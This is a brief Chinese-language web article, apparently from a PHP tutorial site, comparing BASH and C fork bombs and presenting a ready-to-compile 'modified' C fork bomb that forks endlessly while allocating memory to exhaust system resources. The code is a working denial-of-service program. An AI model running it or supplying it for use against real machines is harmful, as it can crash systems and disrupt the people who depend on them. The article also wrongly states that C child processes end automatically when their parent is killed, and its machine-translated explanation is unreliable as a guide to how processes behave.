已經明確,BASH fork 炸彈比其 C 程式版本強大得多。主要原因是在 BASH 中建立的進程與父進程分離。如果父進程(我們最初啟動的進程)被銷毀或終止,剩餘的進程將繼續存在。但在 C 實作的情況下,如果父行程被銷毀或終止,列出的子程序會自動終止。腳本負責直接與系統通訊。
C語言的fork炸彈程式可以更新或修改。我們可以在建立 fork 進程時在程式中分配記憶體。
以下程式被視為修改後的 C fork 炸彈的實作 -
// Modified fork bomb #include <unistd.h> #include <malloc.h> int main(){ // Infinite loop while (1){ // Generating child fork processes fork(); // Allocating memory in RAM int *p1 = (int *) malloc (sizeof (int) * 100000); } }
以上是在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈的詳細內容。更多資訊請關注PHP中文網其他相關文章!